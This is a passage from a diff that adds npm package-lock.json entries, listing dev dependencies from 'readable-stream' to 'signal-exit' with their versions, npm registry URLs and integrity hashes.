+ "pinkie-promise": "^2.0.0"
+ }
+ }
+ }
+ },
+ "readable-stream": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
+ "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+ "dev": true,
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "readdirp": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+ "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.11",
+ "micromatch": "^3.1.10",
+ "readable-stream": "^2.0.2"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ },
+ "micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ }
+ }
+ }
+ },
+ "rechoir": {
+ "version": "0.6.2",
+ "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz",
+ "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==",
+ "dev": true,
+ "requires": {
+ "resolve": "^1.1.6"
+ }
+ },
+ "regenerate": {
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+ "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==",
+ "dev": true
+ },
+ "regenerate-unicode-properties": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz",
+ "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==",
+ "dev": true,
+ "requires": {
+ "regenerate": "^1.4.2"
+ }
+ },
+ "regenerator-runtime": {
+ "version": "0.13.11",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
+ "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==",
+ "dev": true
+ },
+ "regenerator-transform": {
+ "version": "0.15.1",
+ "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.1.tgz",
+ "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==",
+ "dev": true,
+ "requires": {
+ "@babel/runtime": "^7.8.4"
+ }
+ },
+ "regex-not": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
+ "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
+ "dev": true,
+ "requires": {
+ "extend-shallow": "^3.0.2",
+ "safe-regex": "^1.1.0"
+ },
+ "dependencies": {
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "regexpp": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+ "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==",
+ "dev": true
+ },
+ "regexpu-core": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz",
+ "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==",
+ "dev": true,
+ "requires": {
+ "@babel/regjsgen": "^0.8.0",
+ "regenerate": "^1.4.2",
+ "regenerate-unicode-properties": "^10.1.0",
+ "regjsparser": "^0.9.1",
+ "unicode-match-property-ecmascript": "^2.0.0",
+ "unicode-match-property-value-ecmascript": "^2.1.0"
+ }
+ },
+ "regjsparser": {
+ "version": "0.9.1",
+ "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
+ "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+ "dev": true,
+ "requires": {
+ "jsesc": "~0.5.0"
+ },
+ "dependencies": {
+ "jsesc": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+ "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==",
+ "dev": true
+ }
+ }
+ },
+ "relateurl": {
+ "version": "0.2.7",
+ "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
+ "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
+ "dev": true
+ },
+ "release-zalgo": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/release-zalgo/-/release-zalgo-1.0.0.tgz",
+ "integrity": "sha512-gUAyHVHPPC5wdqX/LG4LWtRYtgjxyX78oanFNTMMyFEfOqdC54s3eE82imuWKbOeqYht2CrNf64Qb8vgmmtZGA==",
+ "dev": true,
+ "requires": {
+ "es6-error": "^4.0.1"
+ }
+ },
+ "remove-bom-buffer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/remove-bom-buffer/-/remove-bom-buffer-3.0.0.tgz",
+ "integrity": "sha512-8v2rWhaakv18qcvNeli2mZ/TMTL2nEyAKRvzo1WtnZBl15SHyEhrCu2/xKlJyUFKHiHgfXIyuY6g2dObJJycXQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5",
+ "is-utf8": "^0.2.1"
+ }
+ },
+ "remove-bom-stream": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/remove-bom-stream/-/remove-bom-stream-1.2.0.tgz",
+ "integrity": "sha512-wigO8/O08XHb8YPzpDDT+QmRANfW6vLqxfaXm1YXhnFf3AkSLyjfG3GEFg4McZkmgL7KvCj5u2KczkvSP6NfHA==",
+ "dev": true,
+ "requires": {
+ "remove-bom-buffer": "^3.0.0",
+ "safe-buffer": "^5.1.0",
+ "through2": "^2.0.3"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "remove-trailing-separator": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
+ "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==",
+ "dev": true
+ },
+ "repeat-element": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
+ "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==",
+ "dev": true
+ },
+ "repeat-string": {
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+ "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==",
+ "dev": true
+ },
+ "replace-ext": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-2.0.0.tgz",
+ "integrity": "sha512-UszKE5KVK6JvyD92nzMn9cDapSk6w/CaFZ96CnmDMUqH9oowfxF/ZjRITD25H4DnOQClLA4/j7jLGXXLVKxAug==",
+ "dev": true
+ },
+ "replace-homedir": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/replace-homedir/-/replace-homedir-1.0.0.tgz",
+ "integrity": "sha512-CHPV/GAglbIB1tnQgaiysb8H2yCy8WQ7lcEwQ/eT+kLj0QHV8LnJW0zpqpE7RSkrMSRoa+EBoag86clf7WAgSg==",
+ "dev": true,
+ "requires": {
+ "homedir-polyfill": "^1.0.1",
+ "is-absolute": "^1.0.0",
+ "remove-trailing-separator": "^1.1.0"
+ }
+ },
+ "require-directory": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+ "dev": true
+ },
+ "require-main-filename": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
+ "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==",
+ "dev": true
+ },
+ "requires-port": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
+ "dev": true
+ },
+ "requizzle": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.4.tgz",
+ "integrity": "sha512-JRrFk1D4OQ4SqovXOgdav+K8EAhSB/LJZqCz8tbX0KObcdeM15Ss59ozWMBWmmINMagCwmqn4ZNryUGpBsl6Jw==",
+ "dev": true,
+ "requires": {
+ "lodash": "^4.17.21"
+ }
+ },
+ "resolve": {
+ "version": "1.22.2",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz",
+ "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==",
+ "dev": true,
+ "requires": {
+ "is-core-module": "^2.11.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ }
+ },
+ "resolve-dir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+ "integrity": "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==",
+ "dev": true,
+ "requires": {
+ "expand-tilde": "^2.0.0",
+ "global-modules": "^1.0.0"
+ }
+ },
+ "resolve-from": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+ "dev": true
+ },
+ "resolve-options": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/resolve-options/-/resolve-options-1.1.0.tgz",
+ "integrity": "sha512-NYDgziiroVeDC29xq7bp/CacZERYsA9bXYd1ZmcJlF3BcrZv5pTb4NG7SjdyKDnXZ84aC4vo2u6sNKIA1LCu/A==",
+ "dev": true,
+ "requires": {
+ "value-or-function": "^3.0.0"
+ }
+ },
+ "resolve-url": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+ "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==",
+ "dev": true
+ },
+ "ret": {
+ "version": "0.1.15",
+ "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
+ "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
+ "dev": true
+ },
+ "reusify": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "dev": true,
+ "requires": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "dev": true
+ },
+ "safe-regex": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
+ "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==",
+ "dev": true,
+ "requires": {
+ "ret": "~0.1.10"
+ }
+ },
+ "safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+ "dev": true
+ },
+ "sass": {
+ "version": "1.43.2",
+ "resolved": "https://registry.npmjs.org/sass/-/sass-1.43.2.tgz",
+ "integrity": "sha512-DncYhjl3wBaPMMJR0kIUaH3sF536rVrOcqqVGmTZHQRRzj7LQlyGV7Mb8aCKFyILMr5VsPHwRYtyKpnKYlmQSQ==",
+ "dev": true,
+ "requires": {
+ "chokidar": ">=3.0.0 <4.0.0"
+ },
+ "dependencies": {
+ "anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "requires": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "saxes": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
+ "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+ "dev": true,
+ "requires": {
+ "xmlchars": "^2.2.0"
+ }
+ },
+ "schema-utils": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+ "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@types/json-schema": "^7.0.8",
+ "ajv": "^6.12.5",
+ "ajv-keywords": "^3.5.2"
+ }
+ },
+ "semver": {
+ "version": "6.3.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+ "dev": true
+ },
+ "semver-greatest-satisfied-range": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/semver-greatest-satisfied-range/-/semver-greatest-satisfied-range-1.1.0.tgz",
+ "integrity": "sha512-Ny/iyOzSSa8M5ML46IAx3iXc6tfOsYU2R4AXi2UpHk60Zrgyq6eqPj/xiOfS0rRl/iiQ/rdJkVjw/5cdUyCntQ==",
+ "dev": true,
+ "requires": {
+ "sver-compat": "^1.5.0"
+ }
+ },
+ "serialize-javascript": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
+ "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==",
+ "dev": true,
+ "requires": {
+ "randombytes": "^2.1.0"
+ }
+ },
+ "set-blocking": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+ "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
+ "dev": true
+ },
+ "set-value": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+ "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
+ "dev": true,
+ "requires": {
+ "extend-shallow": "^2.0.1",
+ "is-extendable": "^0.1.1",
+ "is-plain-object": "^2.0.3",
+ "split-string": "^3.0.1"
+ }
+ },
+ "shallow-clone": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
+ "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.2"
+ }
+ },
+ "shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dev": true,
+ "requires": {
+ "shebang-regex": "^3.0.0"
+ }
+ },
+ "shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "dev": true
+ },
+ "signal-exit": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+ "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+ "dev": true
